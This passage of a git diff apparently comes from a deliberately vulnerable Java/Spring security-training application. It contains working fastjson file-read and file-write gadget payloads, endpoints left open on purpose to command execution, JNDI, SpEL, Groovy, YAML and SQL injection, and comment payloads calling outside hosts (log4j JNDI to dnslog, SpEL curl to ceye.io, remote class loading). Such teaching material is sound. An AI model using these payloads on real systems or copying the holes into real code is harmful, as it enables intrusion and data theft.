payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}"; +// String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///C://repos//burp//plugins//authParams.cfg.bak\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}"; +// JSON.parseObject(payload_read_file); + +// org.apache.http.ConnectionClosedException2 exception = new org.apache.http.ConnectionClosedException2("test", new java.net.URL("https://gbvr2m5h71jwj6a1sdm3r55nue07ow.burpcollaborator.net/fastjson"), new java.net.URL("https://gbvr2m5h71jwj6a1sdm3r55nue07ow.burpcollaborator.net/fastjson")); +// String params = JSON.toJSONString(exception); +// System.out.println(params); +// org.apache.commons.io.DirectoryWalker.CancelException exception = new org.apache.commons.io.DirectoryWalker.CancelException(new java.io.File("/etc/passwd"), 1); +// String params = JSON.toJSONString(exception); +// System.out.println(params); + + + String param2 = "{\"a\":{\"@type\":\"java.lang.Exception\",\n" + + "\"@type\":\"org.apache.commons.io.DirectoryWalker$CancelException\",\n" + + "\"file\":\"/etc/passwd\",\n" + + "\"depth\":1\n" + + "},\n" + + "\"clientId\":{\"$ref\":\"$a.File\"}}"; + JSONObject ob = JSON.parseObject(param2); + System.out.println(ob.toString()); + } + + + public static char fakeChar(char[] fileName){ + char[] fs=new char[fileName.length+1]; + System.arraycopy(fileName,0,fs,0,fileName.length); + for (char i = 1; i <= 127; i++) { + fs[fs.length-1]=i; + String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"C:/repos/burp/plugins/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}"; + if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){ + return i; + } + } + return 0; } + + private static String formatChars(char[] fs) { + StringBuilder builder = new StringBuilder(); + for(int i = 0; i< fs.length; i++){ +// System.out.println(Integer.toHexString(fs[i])); // 将每个字符转换成一个int + builder.append(Integer.toHexString(fs[i])); + builder.append(", "); + } + + + return builder.toString(); + } + + + } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index a1858a12..00ab7008 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null; } -} \ No newline at end of file +} diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java deleted file mode 100644 index 79154c1e..00000000 --- a/src/main/java/org/joychou/controller/Jdbc.java +++ /dev/null @@ -1,36 +0,0 @@ -package org.joychou.controller; - -import lombok.extern.slf4j.Slf4j; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.sql.DriverManager; - -/** - * Jdbc Attack @2023.04 - */ -@Slf4j -@RestController -@RequestMapping("/jdbc") -public class Jdbc { - - /** - * CVE-2022-21724 - */ - @RequestMapping("/postgresql") - public void postgresql(String jdbcUrlBase64) throws Exception{ - byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); - String jdbcUrl = new String(b); - log.info(jdbcUrl); - DriverManager.getConnection(jdbcUrl); - } - - @RequestMapping("/db2") - public void db2(String jdbcUrlBase64) throws Exception{ - Class.forName("com.ibm.db2.jcc.DB2Driver"); - byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); - String jdbcUrl = new String(b); - log.info(jdbcUrl); - DriverManager.getConnection(jdbcUrl); - } -} diff --git a/src/main/java/org/joychou/controller/JndiInjection.java b/src/main/java/org/joychou/controller/JndiInjection.java new file mode 100644 index 00000000..21f3cf5e --- /dev/null +++ b/src/main/java/org/joychou/controller/JndiInjection.java @@ -0,0 +1,20 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.naming.InitialContext; +import javax.naming.NamingException; + + +@RestController +public class JndiInjection { + + @GetMapping("/jndi") + public String jndi(String url) throws NamingException { + return new InitialContext().lookup(url).toString(); + } + + public static void main(String[] args) { + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java index eb9381e3..2ab0dcef 100644 --- a/src/main/java/org/joychou/controller/Jsonp.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -6,8 +6,8 @@ import com.alibaba.fastjson.JSONPObject; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang.StringUtils; -import org.joychou.util.LoginUtils; import org.joychou.security.SecurityUtil; +import org.joychou.util.LoginUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; @@ -19,6 +19,7 @@ import org.joychou.util.WebUtils; import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; import java.security.Principal; diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java deleted file mode 100644 index f3e4c126..00000000 --- a/src/main/java/org/joychou/controller/Jwt.java +++ /dev/null @@ -1,64 +0,0 @@ -package org.joychou.controller; - -import lombok.extern.slf4j.Slf4j; -import org.joychou.util.CookieUtils; -import org.joychou.util.JwtUtils; -import org.springframework.web.bind.annotation.CookieValue; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - - -/** - * - */ -@Slf4j -@RestController -@RequestMapping("/jwt") -public class Jwt { - - private static final String COOKIE_NAME = "USER_COOKIE"; - /** - * http://localhost:8080/jwt/createToken - * Create jwt token and set token to cookies. - * - * @author JoyChou 2022-09-20 - */ - @GetMapping("/createToken") - public String createToken(HttpServletResponse response, HttpServletRequest request) { - String loginUser = request.getUserPrincipal().getName(); - log.info("Current login user is " + loginUser); - - if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){ - return String.format("%s cookie delete failed", COOKIE_NAME); - } - String token = JwtUtils.generateTokenByJavaJwt(loginUser); - Cookie cookie = new Cookie(COOKIE_NAME, token); - - cookie.setMaxAge(86400); // 1 DAY - cookie.setPath("/"); - cookie.setSecure(true); - response.addCookie(cookie); - return "Add jwt token cookie successfully. Cookie name is USER_COOKIE"; - } - - - /** - * http://localhost:8080/jwt/getName - * Get nickname from USER_COOKIE - * - * @author JoyChou 2022-09-20 - * @param user_cookie cookie - * @return nickname - */ - @GetMapping("/getName") - public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) { - String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie); - return "Current jwt user is " + nickname; - } - -} diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java index b2ea4060..ada8a394 100644 --- a/src/main/java/org/joychou/controller/Log4j.java +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -2,7 +2,7 @@ import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; -import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController @@ -11,19 +11,19 @@ public class Log4j { private static final Logger logger = LogManager.getLogger("Log4j"); /** - * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} + * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999} * Default: error/fatal/off * Fix: Update log4j to lastet version. + * @param token token */ - @RequestMapping(value = "/log4j") + @GetMapping("/log4j") public String log4j(String token) { - logger.error(token); - return token; - } - - public static void main(String[] args) { - String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; - logger.error(poc); + if(token.equals("java-sec-code")) { + return "java sec code"; + } else { + logger.error(token); + return "error"; + } } } diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java deleted file mode 100644 index 663589cd..00000000 --- a/src/main/java/org/joychou/controller/QLExpress.java +++ /dev/null @@ -1,44 +0,0 @@ -package org.joychou.controller; - -import com.ql.util.express.DefaultContext; -import com.ql.util.express.ExpressRunner; -import com.ql.util.express.config.QLExpressRunStrategy; -import org.joychou.util.WebUtils; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.HttpServletRequest; - -@RestController(value = "/qlexpress") -public class QLExpress { - - /** - * url = 'http://sb.dog:8888/'; - * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); - * classLoader.loadClass('Hello').newInstance(); - */ - @RequestMapping("/vuln1") - public String vuln1(HttpServletRequest req) throws Exception{ - String express = WebUtils.getRequestBody(req); - System.out.println(express); - ExpressRunner runner = new ExpressRunner(); - DefaultContext context = new DefaultContext(); - Object r = runner.execute(express, context, null, true, false); - System.out.println(r); - return r.toString(); - } - - @RequestMapping("/sec") - public String sec(HttpServletRequest req) throws Exception{ - String express = WebUtils.getRequestBody(req); - System.out.println(express); - ExpressRunner runner = new ExpressRunner(); - QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); - // Can only call java.lang.String#length() - QLExpressRunStrategy.addSecureMethod(String.class, "length"); - DefaultContext context = new DefaultContext(); - Object r = runner.execute(express, context, null, true, false); - System.out.println(r); - return r.toString(); - } -} diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 7c5f30a9..cdf3c459 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,7 +1,6 @@ package org.joychou.controller; import groovy.lang.GroovyShell; -import lombok.extern.slf4j.Slf4j; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -15,6 +14,8 @@ import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; /** @@ -22,12 +23,11 @@ * * @author JoyChou @ 2018-05-24 */ -@Slf4j @RestController @RequestMapping("/rce") public class Rce { - @GetMapping("/runtime/exec") + @RequestMapping("/runtime/exec") public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); @@ -57,9 +57,10 @@ public String CommandExec(String cmd) { /** - * POC + * http://localhost:8080/rce/ProcessBuilder?cmd=whoami + * @param cmd cmd */ - @GetMapping("/ProcessBuilder") + @RequestMapping("/ProcessBuilder") public String processBuilder(String cmd) { StringBuilder sb = new StringBuilder(); @@ -91,7 +92,7 @@ public String processBuilder(String cmd) { * * @param jsurl js url */ - @GetMapping("/jscmd") + @RequestMapping("/jscmd") public void jsEngine(String jsurl) throws Exception{ // js nashorn javascript ecmascript ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); @@ -107,13 +108,13 @@ public void jsEngine(String jsurl) throws Exception{ * * @param content payloads */ - @GetMapping("/vuln/yarm") + @RequestMapping("/vuln/yarm") public void yarm(String content) { Yaml y = new Yaml(); y.load(content); } - @GetMapping("/sec/yarm") + @RequestMapping("/sec/yarm") public void secYarm(String content) { Yaml y = new Yaml(new SafeConstructor()); y.load(content); @@ -123,16 +124,39 @@ public void secYarm(String content) { * http://localhost:8080/rce/groovy?content="open -a Calculator".execute() * @param content groovy shell */ - @GetMapping("groovy") + @RequestMapping("groovy") public void groovyshell(String content) { GroovyShell groovyShell = new GroovyShell(); groovyShell.evaluate(content); } + @RequestMapping("jshell") + public String jshell(String content) { +// String result = jdk.jshell.JShell.create().eval(content).get(0).value() +// .replaceAll("^\"", "") +// .replaceAll("\"$", ""); +// .replaceAll("\\r\\n", "\r\n"); - public static void main(String[] args) throws Exception{ - Runtime.getRuntime().exec("touch /tmp/x"); + String result = ""; + + try { + Class clazz = Class.forName("jdk.jshell.JShell"); + Method create = clazz.getMethod("create"); + Method eval = clazz.getMethod("eval", String.class); + Object jshell = create.invoke(null); + result = (String) eval.invoke(jshell, content); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (InvocationTargetException e) { + throw new RuntimeException(e); + } catch (ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } + return result; } + } diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index be46f45b..afabfe15 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -6,10 +6,10 @@ import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; -import javax.annotation.Resource; import java.sql.*; import java.util.List; @@ -25,10 +25,8 @@ @RequestMapping("/sqli") public class SQLI { - private static final Logger logger = LoggerFactory.getLogger(SQLI.class); - - // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver. - private static final String driver = "com.mysql.cj.jdbc.Driver"; + private static Logger logger = LoggerFactory.getLogger(SQLI.class); + private static String driver = "com.mysql.jdbc.Driver"; @Value("${spring.datasource.url}") private String url; @@ -39,14 +37,15 @@ public class SQLI { @Value("${spring.datasource.password}") private String password; - @Resource + @Autowired private UserMapper userMapper; /** - *

Sql injection jbdc vuln code.


+ * Vuln Code. + * http://localhost:8080/sqli/jdbc/vuln?username=joychou * - * http://localhost:8080/sqli/jdbc/vuln?username=joychou + * @param username username */ @RequestMapping("/jdbc/vuln") public String jdbc_sqli_vul(@RequestParam("username") String username) { @@ -78,7 +77,7 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) { } catch (ClassNotFoundException e) { - logger.error("Sorry, can't find the Driver!"); + logger.error("Sorry,can`t find the Driver!"); } catch (SQLException e) { logger.error(e.toString()); } @@ -87,9 +86,10 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) { /** - *

Sql injection jbdc security code by using {@link PreparedStatement}.


+ * Security Code. + * http://localhost:8080/sqli/jdbc/sec?username=joychou * - * http://localhost:8080/sqli/jdbc/sec?username=joychou + * @param username username */ @RequestMapping("/jdbc/sec") public String jdbc_sqli_sec(@RequestParam("username") String username) { @@ -100,7 +100,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) - System.out.println("Connect to database successfully."); + System.out.println("Connecting to Database successfully."); // fix code String sql = "select * from users where username = ?"; @@ -122,7 +122,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { con.close(); } catch (ClassNotFoundException e) { - logger.error("Sorry, can't find the Driver!"); + logger.error("Sorry, can`t find the Driver!"); e.printStackTrace(); } catch (SQLException e) { logger.error(e.toString()); @@ -130,53 +130,11 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { return result.toString(); } - /** - *

Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.

- * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a - */ - @RequestMapping("/jdbc/ps/vuln") - public String jdbc_ps_vuln(@RequestParam("username") String username) { - - StringBuilder result = new StringBuilder(); - try { - Class.forName(driver); - Connection con = DriverManager.getConnection(url, user, password); - - if (!con.isClosed()) - System.out.println("Connecting to Database successfully."); - - String sql = "select * from users where username = '" + username + "'"; - PreparedStatement st = con.prepareStatement(sql); - - logger.info(st.toString()); - ResultSet rs = st.executeQuery(); - - while (rs.next()) { - String res_name = rs.getString("username"); - String res_pwd = rs.getString("password"); - String info = String.format("%s: %s\n", res_name, res_pwd); - result.append(info); - logger.info(info); - } - - rs.close(); - con.close(); - - } catch (ClassNotFoundException e) { - logger.error("Sorry, can't find the Driver!"); - e.printStackTrace(); - } catch (SQLException e) { - logger.error(e.toString()); - } - return result.toString(); - } - - - /** - *

Sql injection of mybatis vuln code.

- * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 - *

select * from users where username = 'joychou' or '1'='1'

+ * vuln code + * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 + * + * @param username username */ @GetMapping("/mybatis/vuln01") public List mybatisVuln01(@RequestParam("username") String username) { @@ -184,20 +142,17 @@ public List mybatisVuln01(@RequestParam("username") String username) { } /** - *

Sql injection of mybatis vuln code.

- * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1 - *

select * from users where username like '%joychou' or '1'='1%'

+ * vul code + * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23 + * + * @param username username */ @GetMapping("/mybatis/vuln02") public List mybatisVuln02(@RequestParam("username") String username) { return userMapper.findByUserNameVuln02(username); } - /** - *

Sql injection of mybatis vuln code.

- * http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc-- - *

select * from users order by id desc-- asc

- */ + // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23 @GetMapping("/mybatis/orderby/vuln03") public List mybatisVuln03(@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(sort); @@ -205,8 +160,10 @@ public List mybatisVuln03(@RequestParam("sort") String sort) { /** - *

Sql injection mybatis security code.

- * http://localhost:8080/sqli/mybatis/sec01?username=joychou + * security code + * http://localhost:8080/sqli/mybatis/sec01?username=joychou + * + * @param username username */ @GetMapping("/mybatis/sec01") public User mybatisSec01(@RequestParam("username") String username) { @@ -214,8 +171,9 @@ public User mybatisSec01(@RequestParam("username") String username) { } /** - *

Sql injection mybatis security code.

- * http://localhost:8080/sqli/mybatis/sec02?id=1 + * http://localhost:8080/sqli/mybatis/sec02?id=1 + * + * @param id id */ @GetMapping("/mybatis/sec02") public User mybatisSec02(@RequestParam("id") Integer id) { @@ -224,19 +182,14 @@ public User mybatisSec02(@RequestParam("id") Integer id) { /** - *

Sql injection mybatis security code.

- * http://localhost:8080/sqli/mybatis/sec03 + * http://localhost:8080/sqli/mybatis/sec03 */ @GetMapping("/mybatis/sec03") public User mybatisSec03() { return userMapper.OrderByUsername(); } - /** - *

Order by sql injection mybatis security code by using sql filter.

- * http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id - *

select * from users order by id asc

- */ + @GetMapping("/mybatis/orderby/sec04") public List mybatisOrderBySec04(@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index f28b8b91..aa76f9fe 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -1,18 +1,13 @@ package org.joychou.controller; -import cn.hutool.http.HttpUtil; import org.joychou.security.SecurityUtil; import org.joychou.security.ssrf.SSRFException; -import org.joychou.service.HttpService; import org.joychou.util.HttpUtils; import org.joychou.util.WebUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.http.HttpHeaders; -import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.*; -import javax.annotation.Resource; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.net.*; @@ -28,18 +23,15 @@ @RequestMapping("/ssrf") public class SSRF { - private static final Logger logger = LoggerFactory.getLogger(SSRF.class); + private static Logger logger = LoggerFactory.getLogger(SSRF.class); - @Resource - private HttpService httpService; /** - *

- * The default setting of followRedirects is true.
- * Protocol: file ftp mailto http https jar netdoc.
- * UserAgent is Java/1.8.0_102. - *

- * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd + * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd + * + * The default setting of followRedirects is true. + * Protocol: file ftp mailto http https jar netdoc + * UserAgent is Java/1.8.0_102. */ @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) public String URLConnectionVuln(String url) { @@ -84,15 +76,11 @@ public String httpURLConnection(@RequestParam String url) { } - @GetMapping("/HttpURLConnection/vuln") - public String httpURLConnectionVuln(@RequestParam String url) { - return HttpUtils.HttpURLConnection(url); - } - /** * The default setting of followRedirects is true. - * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
- * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). + * + * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org */ @GetMapping("/request/sec") public String request(@RequestParam String url) { @@ -108,12 +96,12 @@ public String request(@RequestParam String url) { /** - * Download the url file.
- * new URL(String url).openConnection()
- * new URL(String url).openStream()
- * new URL(String url).getContent()
- * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd - + * Download the url file. + * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + *

+ * new URL(String url).openConnection() + * new URL(String url).openStream() + * new URL(String url).getContent() */ @GetMapping("/openStream") public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { @@ -179,10 +167,12 @@ public String okhttp(@RequestParam String url) { } + /** * The default setting of followRedirects is true. - * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
- * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). + * + * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com */ @GetMapping("/httpclient/sec") public String HttpClient(@RequestParam String url) { @@ -202,7 +192,8 @@ public String HttpClient(@RequestParam String url) { /** * The default setting of followRedirects is true. * UserAgent is Jakarta Commons-HttpClient/3.1. - * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com + * + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ @GetMapping("/commonsHttpClient/sec") public String commonsHttpClient(@RequestParam String url) { @@ -220,8 +211,9 @@ public String commonsHttpClient(@RequestParam String url) { /** * The default setting of followRedirects is true. - * UserAgent is the useragent of browser.
- * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com + * UserAgent is the useragent of browser. + * + * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com */ @GetMapping("/Jsoup/sec") public String Jsoup(@RequestParam String url) { @@ -240,8 +232,9 @@ public String Jsoup(@RequestParam String url) { /** * The default setting of followRedirects is true. - * UserAgent is Java/1.8.0_102.
- * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com + * UserAgent is Java/1.8.0_102. + * + * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com */ @GetMapping("/IOUtils/sec") public String IOUtils(String url) { @@ -268,51 +261,4 @@ public String HttpSyncClients(@RequestParam("url") String url) { } - /** - * Only support HTTP protocol.
- * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
- * User-Agent is Java/1.8.0_102.
- * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com - */ - @GetMapping("/restTemplate/vuln1") - public String RestTemplateUrlBanRedirects(String url){ - HttpHeaders headers = new HttpHeaders(); - headers.setContentType(MediaType.APPLICATION_JSON_UTF8); - return httpService.RequestHttpBanRedirects(url, headers); - } - - - @GetMapping("/restTemplate/vuln2") - public String RestTemplateUrl(String url){ - HttpHeaders headers = new HttpHeaders(); - headers.setContentType(MediaType.APPLICATION_JSON_UTF8); - return httpService.RequestHttp(url, headers); - } - - - /** - * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool. - * Do not follow redirects.
- * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com - */ - @GetMapping("/hutool/vuln") - public String hutoolHttp(String url){ - return HttpUtil.get(url); - } - - - /** - * DnsRebind SSRF in java by setting ttl is zero.
- * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url - */ - @GetMapping("/dnsrebind/vuln") - public String DnsRebind(String url) { - java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0"); - if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { - return "Dangerous url"; - } - return HttpUtil.get(url); - } - - } diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java deleted file mode 100644 index 2dc143ca..00000000 --- a/src/main/java/org/joychou/controller/Shiro.java +++ /dev/null @@ -1,49 +0,0 @@ -package org.joychou.controller; - - -import lombok.extern.slf4j.Slf4j; -import org.apache.shiro.crypto.AesCipherService; -import org.joychou.config.Constants; -import org.joychou.util.CookieUtils; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RestController; -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import static org.springframework.web.util.WebUtils.getCookie; - -@Slf4j -@RestController -public class Shiro { - - byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); - private final static String DELETE_ME = "deleteMe"; - AesCipherService acs = new AesCipherService(); - - - @GetMapping(value = "/shiro/deserialize") - public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) { - Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE); - if (null == cookie) { - return "No rememberMe cookie. Right?"; - } - - try { - String rememberMe = cookie.getValue(); - byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe); - byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes(); - ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); - ObjectInputStream in = new ObjectInputStream(bytes); - in.readObject(); - in.close(); - } catch (Exception e){ - if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){ - log.error(e.getMessage()); - return "RememberMe cookie decrypt error. Set deleteMe cookie success."; - } - } - - return "Shiro deserialize"; - } -} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 452180b8..928b0a98 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,64 +1,38 @@ package org.joychou.controller; -import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; -import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.expression.spel.support.SimpleEvaluationContext; -import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** - * SpEL Injection. + * SpEL Injection + * * @author JoyChou @2019-01-17 */ @RestController public class SpEL { /** - * Use Spel to execute cmd.

- * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") + * SpEL to RCE + * http://localhost:8080/spel/vul/?expression=xxx. + * xxx is urlencode(exp) + * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") */ - @RequestMapping("/spel/vuln1") - public String spel_vuln1(String value) { + @RequestMapping("/spel/vuln") + public String rce(String expression) { ExpressionParser parser = new SpelExpressionParser(); - return parser.parseExpression(value).getValue().toString(); - } - - /** - * Use Spel to execute cmd.

